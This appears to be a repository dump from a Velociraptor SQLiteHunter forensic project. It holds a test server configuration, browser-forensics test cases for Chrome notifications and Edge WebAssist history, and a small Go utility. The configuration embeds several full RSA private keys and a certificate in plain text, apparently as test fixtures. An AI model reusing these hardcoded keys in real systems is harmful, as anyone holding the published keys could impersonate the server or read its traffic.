57 | o/ZxQnOSzJDg2ljPxWQ3ybJSqB5j8TG8ntOOw++tv1ZtAsSLeO9IhZQGxeSJBsAM
58 | vwWXGBYI71Xi+xaOBRuz4meIVFwnDDzSgua3Fy6DONyWRXC9WhUv0cD406HTKmrI
59 | OIG5D0UltU8Lr4qJfxdSWRraYbb9JhbUhgNjmwIDAQABAoIBADdO2QYQq4uk26so
60 | kY4sFsGH+EXYDkx8GCsO6TC9Pe+jZ2/kSD4HyZqnaRVCh48wuze7RlpKTeOuQWFj
61 | fJ0xv00jyqbhK7i0Q2kQ7HOblsH400BNf327oZZr+CmSzZ6LzU5gISrOshKgUULl
62 | hKLgd/SaH7FznuE6JtSRl4py9+b4FarfH51bKKgwMv+8305XCfIMFTheSj7dK7od
63 | Ik1fLTwBJDcD/ezkzqcAwxtdWnrfTnEJj8rh3ZCb/YegDcAUotRD8N0n+19NUtTn
64 | M1re+yt9S+lF+WE6lawxvp3pOscXz8n6aahx2bG9dFVDA1/BS2pgGWCmMf3vb7tT
65 | BKvNVYECgYEAwYTbE0kBNv8/pE0SkmMFtNntQ+yYyhRKqMViNx+LRI3AOnj+jZnu
66 | sPDy0p2oyrtDAAo5kQzBzfcWYKfzVQNiow8nAanrgzg7yog5sXQ9nVmi/4XtOd4P
67 | 8XfxvDMxQKW/t3dQociTW1dLd7Zd00aPWVBOm3WNbZFnMMyiuRSxuvECgYEAxiyf
68 | kZ0pOAbCZJMMDL/3DcnsyDnUkJsydeYu83aMcQdaZ2GC3GU1i9u+50hdGdf/AiXf
69 | eb6wi8eOzoqIHwAZdSEi5hg6FAOzJohkYVIuIuXfO1hZF9onNYeT3nD7tyj9KcYJ
70 | 5xg/QuQ1the/0zDw6bjBeul7XkvU7DAefeTVj0sCgYAPi+3Rqc7ILU9ekraIPh5K
71 | Piu6hjpsGZ852cmfJhCZLE4iJHBGzfQIEQNg+juCNfMXALtJNN4o/s20bCm3TbNR
72 | 6Di5AH6kJxNenP0NjYoZpwbaQlchi/555qnr9aziRa6WPaajqKp17xhoAKWfAI8p
73 | nLMD+DipccH5gKcd+VSh8QKBgG1BPrvFvGrB9zwBgbwpvSeh8mO01kbe+SPcwnfB
74 | HM5XsnSaYs3lEm9Ht+jEkWdlGJbzkFALXEPDwiyGXWNR57cWjKn0I1jTbVpKCaVJ
75 | 7FubBcYu//dRcxpk45XYDj49X80+/EimqoHTVPVOBJiHO9pu3GRKApTLE9ke8kCP
76 | /1kfAoGAOORWv960OeB2sO1Jra12lbbV+eT2aXULjYMAPBlS05lQwhfmQBBtV+EJ
77 | P2A0b1WQcnh7d6/HNGF9iRPP2BIyRCw2qbyOHTAgSzQni0mem1COO6NRNNMeoAdY
78 | NRhw0WXKTBTNUZTQJxIfpusSOc05iUQ6BgSIu7ew3xGjMqkcYHM=
79 | -----END RSA PRIVATE KEY-----
80 |
81 | API:
82 | bind_address: 127.0.0.1
83 | bind_port: 8002
84 | bind_scheme: tcp
85 | pinned_gw_name: GRPC_GW
86 |
87 | Frontend:
88 | hostname: www.example.com
89 | certificate: |
90 | -----BEGIN CERTIFICATE-----
91 | MIIDGDCCAgCgAwIBAgIRAKEBXjC7StzR7Z7pr/LhyF0wDQYJKoZIhvcNAQELBQAw
92 | GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDQyMzE0NDE0MloXDTIx
93 | MDQyMzE0NDE0MlowNDEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRswGQYDVQQDExJW
94 | ZWxvY2lyYXB0b3JTZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
95 | AQDvmIw17wYohh4Xd9Mo8VNT7WBPq+XmoH3zXYE7e7PHvpwN0NGdPV6MNqd2Jim1
96 | XWLv0CCDCEDqKPrW9Z6zpSdBPexU8NfnhzJtGbY4KQl/i+Qaf1089eJ90t1FHA/R
97 | mHccpY1MdgGAl1BFjnkGI+2v/GHmE2pyxzuw7Yf9rLC1MW1o8hs/tQd58oZB5gnb
98 | N5WF0eBr9hHj8exfG8DQO7jgCnFFnGGGZEhaxYL5Q6HJIoVGPNWjYbOeHj79aPxY
99 | 5qqduVlwXdUBAnLYMl4Q3wNtVxdlw2zUfF8cCWRDD7hJVOnApjf1puG6qWXNqg4O
100 | I+35I7iGhAVh74mC80pzYdwZAgMBAAGjPzA9MA4GA1UdDwEB/wQEAwIFoDAdBgNV
101 | HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADANBgkqhkiG
102 | 9w0BAQsFAAOCAQEAR6W/jKzLuyBZNbztGqWCBXfSKrYxQbtabJA+t6sflWvJKK8m
103 | NuxBLP9BFwMbL3Hu76ROoSaRnYQXImNDuySbZj3yFSxKKES0rspfNhAnfGzqxm/V
104 | bR27dwIt6i/fGx18ycY4yqUd6fLYQzU3xDkNmbfYCJ6Vq0C5fhyu7bB3yj4n8Y+a
105 | 4rqbAkKAwmqNNCCLHro/OGttBcWJ8myARJ5meWf8NbahkS3En6fDSDinBThSVTYC
106 | a29h9EzqfOYcvxyzTB6QfX2FAB2T2pveyBp8IXG68ajqzPuLl1sqHcHAtIJ5u4Z+
107 | pAjje0MkOSC60Shyde1ClYI/fLuFqAoKuPegZw==
108 | -----END CERTIFICATE-----
109 | private_key: |
110 | -----BEGIN RSA PRIVATE KEY-----
111 | MIIEpAIBAAKCAQEA75iMNe8GKIYeF3fTKPFTU+1gT6vl5qB9812BO3uzx76cDdDR
112 | nT1ejDandiYptV1i79AggwhA6ij61vWes6UnQT3sVPDX54cybRm2OCkJf4vkGn9d
113 | PPXifdLdRRwP0Zh3HKWNTHYBgJdQRY55BiPtr/xh5hNqcsc7sO2H/aywtTFtaPIb
114 | P7UHefKGQeYJ2zeVhdHga/YR4/HsXxvA0Du44ApxRZxhhmRIWsWC+UOhySKFRjzV
115 | o2Gznh4+/Wj8WOaqnblZcF3VAQJy2DJeEN8DbVcXZcNs1HxfHAlkQw+4SVTpwKY3
116 | 9abhuqllzaoODiPt+SO4hoQFYe+JgvNKc2HcGQIDAQABAoIBAQCHZzGN5VgYnLry
117 | zk/yaneKDbOJMv9JF9g2Kdi38g/GyWzNzf44G4+MM/LtrWGS0oTwPDGze32cF66y
118 | vrqCkcoeb81Yr4eEm/4edBJrqJ1qjHdLlkDuC5OFQh60SMiTzdM6yECTPnlY36qI
119 | tJymoLVZ6Iq3CK/2z6tnMMXS0b5HluBUhgPnnWhAGlltbUHgmz5pDum04ipkPMxt
120 | l+wyk7tgsUhsU+xNQQ4RoavsiJX70drt6pvhTASMbdpbfPie/0tD1VfUan35oek4
121 | fMV2g+62aJd+L0ctICvplUxM+0D0VIjuL/jRQ+43L7b5aFBAEbRbAsbXaMUOuVEH
122 | M7I04jbRAoGBAP5PI0Echt8F1x9oMt+ehidvQpEg362wvVR9QMfRmnZTLTh08kTH
123 | lCkUtc1zFV8Z1/hTVnVcFxMTHudNQCZ4qpkDLVO/9N68vcWyDNl0aS1fErl/cKmj
124 | A+LoSjyCW4fYKyMsdUjWiUpn6kFHll927bPJFHY3Wml1zOQ9L3ftdLJlAoGBAPEw
125 | Xc2i21NRewvj0jt7xW7qXLjuUL2cZ6XOpsD9eBzz8fwcELBkOomFMoqwY4jflGEk
126 | YRYbPC6dvXHnK37uFHmYDe+LcT8sdQpquHtAFeOWSxJ2rqChYzBi0qsuwMT/bf0N
127 | 58U7r0WrvwKel38PohROE9mATXxvTw6UjMW2EM2lAoGAKyBskBwwWx34b2EST43o
128 | nkNl/IqgpCn20Z80Hy7SjQJqBsr+Ut+tppHWivLbSvdtArXPUbO+TgPOF9en615H
129 | QA+j3jINasCDRkV9nFr7gzA+UqrkBkCY5iAShtRshUsJdbuSYDnRqoaY2V00iRf4
130 | E6ckCzAz6vKJPqOJq0LfqWkCgYEAi1UJm5YNZiCYGNJPzRU/hUfWsO7bre4A4oRz
131 | SOIk1XUHwkDkU0JTnsZX4E7t8VBYA5Zkj8TEC5oMqxSEyBr5sRTqWAwSLBCevJnS
132 | YUEwY/2a+NufHiSdjIJKeaHUsvlsrNevoP1Nz83b1sOPeVOqqlhAl1HLcatL3Hxs
133 | pnr7UhECgYAy/BRUbIA+D6oUghG2Am0i1kYsKyk5IIpzuSlwS4JmxxWq6w82GIB3
134 | 12VKai36f3IJQO06PqJk65f4dBw9d15/Hly4V0gpYnjSBghpwhfxC4fwJKTXuI3D
135 | miZYMg457XG9mci0RvY0SjdDOvrE07R63ddtxt8sjQ9+ffGO6WfBWQ==
136 | -----END RSA PRIVATE KEY-----
137 | do_not_compress_artifacts: true
138 |
139 | Datastore:
140 | implementation: FileBaseDataStore
141 | filestore_directory: ./datastore/
142 | location: ./datastore/
143 |
144 | Writeback:
145 | private_key: |
146 | -----BEGIN RSA PRIVATE KEY-----
147 | MIIEogIBAAKCAQEArmgftoc6pi/ZMGZO40UIKXlscTXrZWifDtTGsAhXfaKG4xzu
148 | LLLIM4Cr+L3ctYgFkWyczXst6Tx6zRyU/l2OqaWmJjhNwXlRwNajx+2ZqTa5zA8r
149 | lr+QeYrg19+Acmgb8DkPwp8in/f3tHl7Na8U8GE/3CX4nMsLOzcfAEdH/4IRh3b0
150 | 3VW361dlBL8Sw2KJ7ECmhujjtlxu7BUDolxxf8bIkFDVt/nhs9xxm2yI+b2xQnsy
151 | LDHpsZzSuXj/M38s8u0r59QtJ+ByjFjte+gjGpTc9WlMytTvI/RJUbiEKwOPjBVn
152 | BcV/1IZ08KokSfhq4xpVY/GPZVL4CEf/ZOo9rQIDAQABAoIBAFnNUW75yHAjuRBb
153 | zYjmVaKNXBIa8l8f9K59TuT7FpmhIxU0I0surzkdqu8ES+3I4R0VMNP49hXfR1fv
154 | vKQQ5lFh8uBBI4BYiIjjvCdIp1Ni015H/Wi8sJZ0tPtSoN/HzYLuzremmvyFgK0T
155 | 1CY7RWvUlz4y6wVI4zqVUkgha+gaZjoQklzamwqKHQwqtFyPVISmSp6XL/zexk95
156 | GVUGps4mtsXWUsSnsmlUD5Ola/7hXeEgbD1nj2Znobu9z0y8mDlIhpFpQJwu36KB
157 | 3o3tqBOXuoukxmsvuW8QxW1xzCICuh8CU5g6kWkyNJOsf4X5Y2js/5Zo9dbLkOrd
158 | VEnnV+ECgYEAydqTmbWQyOeUxV9mfD2BbjnzLvxMCCggW/i4TGYhtLweO7UPSiQT
159 | /zK0KX317vupUou//vGEcFKLPVu4xchsGrayOVCWEpurqvZfPmg9lWyF2fi8rZK0
160 | vOWCw8HIgIbb8EvRCH1v0gNMdzjaf1qLN28W5H/7re4rruQOEuyv29kCgYEA3TC9
161 | XFAVSePV/Ky22AdbccVacABmM5RAneot/E7DTrA9uGujUB+9kCPIDsPLCjT2uXj/
162 | yP/a210t8KZBtvW+1Ums06titw65lkG7rjapB08vjF1aD0bjPE4R1uapm+CM6dlm
163 | oc3Beb8kyA+bXZMpnJT1KtAI3/zrdlZkhQlAL/UCgYAs/uViIUAqGL1oFfERhuBg
164 | Qti7w4/rTY6REet7VFT1Je4TXzQOUeaHP7U7fpGg+UZwWSiuWwYrx6q0Pcr9g8Td
165 | W5Z1AkrB0SO+U3c9wRzhPzTDNxhQFODnLr4shvj79ZP3h98L5nJTvVqBRRIny3Y3
166 | IDNZMlJXHj1smfetLkexWQKBgBgcgAfYEvoDBAiPKz9RTf6Q7NLYuEtXFdQg+vJO
167 | A6xIOfIoiZzqWNeljuFNJozuSRbewcM/YLQY7DEXboJrN2o4pcZNIG2kBUcD01mi
168 | S7qoPx6l7nNL3ulr+TXb3xFG4RV8xVtN+pEy7OeCDAWfTSHseu030D/aajB0KnD2
169 | GTEhAoGARB/E6j/WX+CBPWiF4XLV03F1hEMYY/ZSfijcZQniCNtRQUuIkTMiSv1E
170 | LZ5KmiY35bmYwkGOST6sd9T586nNEdIfs2ngcXwRcgPmQU7VaKQdeVnxhEG2xXFG
171 | NtyI/STijkpVi99wF39BvXkQGdJuDjAArjGj5kevCpvyveudL5g=
172 | -----END RSA PRIVATE KEY-----
173 |
--------------------------------------------------------------------------------
/testing/testcases/chrome_notifications.in.yaml:
--------------------------------------------------------------------------------
1 | Queries:
2 | - |
3 | SELECT *, OSPath.Basename AS OSPath
4 | FROM Artifact.Generic.Forensic.SQLiteHunter(
5 | MatchFilename=TRUE, All=FALSE, Chrome=TRUE,
6 | CustomGlob=testFiles + '/Chrome/*')
7 |
--------------------------------------------------------------------------------
/testing/testcases/chrome_notifications.out.yaml:
--------------------------------------------------------------------------------
1 | SELECT *, OSPath.Basename AS OSPath
2 | FROM Artifact.Generic.Forensic.SQLiteHunter(
3 | MatchFilename=TRUE, All=FALSE, Chrome=TRUE,
4 | CustomGlob=testFiles + '/Chrome/*')
5 | [
6 | {
7 | "_Source": "Generic.Forensic.SQLiteHunter/AllFiles",
8 | "OSPath": "Preferences"
9 | },
10 | {
11 | "Site": "https://docs.velociraptor.app:443,*",
12 | "LastModified": "2024-01-22T04:19:19Z",
13 | "LastEngagementTime": "2024-01-21T20:10:29Z",
14 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Site Engagements",
15 | "OSPath": "Preferences"
16 | },
17 | {
18 | "Site": "https://github.com:443,*",
19 | "LastModified": "2024-01-22T04:19:19Z",
20 | "LastEngagementTime": "2024-01-21T20:17:51Z",
21 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Site Engagements",
22 | "OSPath": "Preferences"
23 | },
24 | {
25 | "Site": "https://developer.chrome.com:443,*",
26 | "LastModified": "2024-01-21T14:33:10Z",
27 | "Setting": {
28 | "Site": "https://developer.chrome.com/",
29 | "CouldShowBannerEvents": "2024-01-21T14:33:10Z",
30 | "LastShown": "2024-01-21T14:32:36Z"
31 | },
32 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners",
33 | "OSPath": "Preferences"
34 | },
35 | {
36 | "Site": "https://developercommunity.visualstudio.com:443,*",
37 | "LastModified": "2024-01-23T01:36:02Z",
38 | "Setting": {
39 | "Site": "https://developercommunity.visualstudio.com/",
40 | "CouldShowBannerEvents": "2024-01-23T01:36:02Z",
41 | "LastShown": "2024-01-23T01:35:54Z"
42 | },
43 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners",
44 | "OSPath": "Preferences"
45 | },
46 | {
47 | "Site": "https://github.com:443,*",
48 | "LastModified": "2024-01-21T14:48:57Z",
49 | "Setting": {
50 | "Site": "https://github.com/",
51 | "CouldShowBannerEvents": "2024-01-21T14:48:57Z",
52 | "LastShown": "2024-01-21T14:48:23Z"
53 | },
54 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners",
55 | "OSPath": "Preferences"
56 | },
57 | {
58 | "Site": "https://web.dev:443,*",
59 | "LastModified": "2024-01-21T14:37:03Z",
60 | "Setting": {
61 | "Site": "https://web.dev/",
62 | "CouldShowBannerEvents": "2024-01-21T14:37:03Z",
63 | "LastShown": "2024-01-21T14:36:56Z"
64 | },
65 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners",
66 | "OSPath": "Preferences"
67 | },
68 | {
69 | "Site": "https://appuals.com:443,*",
70 | "LastModified": "2019-10-14T06:39:30Z",
71 | "Setting": "Block",
72 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Notification Preferences",
73 | "OSPath": "Preferences"
74 | }
75 | ]
--------------------------------------------------------------------------------
/testing/testcases/edge_webassist.in.yaml:
--------------------------------------------------------------------------------
1 | Queries:
2 | - |
3 | SELECT *, OSPath.Basename AS OSPath
4 | FROM Artifact.Generic.Forensic.SQLiteHunter(
5 | FilterRegex="Audio",
6 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=testFiles + '/Edge/WebAssistDatabase')
7 |
--------------------------------------------------------------------------------
/testing/testcases/edge_webassist.out.yaml:
--------------------------------------------------------------------------------
1 | SELECT *, OSPath.Basename AS OSPath
2 | FROM Artifact.Generic.Forensic.SQLiteHunter(
3 | FilterRegex="Audio",
4 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=testFiles + '/Edge/WebAssistDatabase')
5 | [
6 | {
7 | "_Source": "Generic.Forensic.SQLiteHunter/AllFiles",
8 | "OSPath": "WebAssistDatabase"
9 | },
10 | {
11 | "ID": 2,
12 | "Last Visited Time": "2023-08-27T11:00:53Z",
13 | "Title": "How to Record Audio on Windows 10",
14 | "URL": "https://www.lifewire.com/how-to-record-audio-on-windows-10-4773840",
15 | "VisitCount": 1,
16 | "_Source": "Generic.Forensic.SQLiteHunter/Edge Browser Navigation History_Navigation History",
17 | "OSPath": "WebAssistDatabase"
18 | }
19 | ]
--------------------------------------------------------------------------------
/utils/json.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import "encoding/json"
4 |
5 | func MustMarshalString(v interface{}) string {
6 | result, err := json.Marshal(v)
7 | if err != nil {
8 | panic(err)
9 | }
10 | return string(result)
11 | }
12 |
--------------------------------------------------------------------------------